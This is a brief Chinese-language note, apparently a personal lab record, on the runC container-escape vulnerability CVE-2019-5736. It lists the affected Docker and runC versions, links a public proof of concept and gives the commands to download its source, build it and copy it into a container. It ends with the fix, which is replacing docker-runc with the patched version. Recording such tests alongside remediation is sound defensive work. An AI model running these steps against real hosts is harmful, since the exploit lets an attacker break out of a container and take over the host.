20200524

[GalaxyForce]

容器

runC 漏洞问题：

refer：https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5736

漏洞编号： CVE-2019-5736

影响：

• docker version <=18.09.2 ： 目前只在 18.09.2 测试
• RunC version <=1.0-rc6

Poc：https://github.com/Frichetten/CVE-2019-5736-PoC/

wget -c https://raw.githubusercontent.com/Frichetten/CVE-2019-5736-PoC/master/main.go -O main.go
#on my linux pc
go build -o poc main.go
docker cp poc CVE-2019-5736

修复：

下载docker-runc 修复版本，进行主机上docker-runc替换;

https://github.com/opencontainers/runc/commit/0a8e4117e7f715d5fbeef398405813ce8e88558b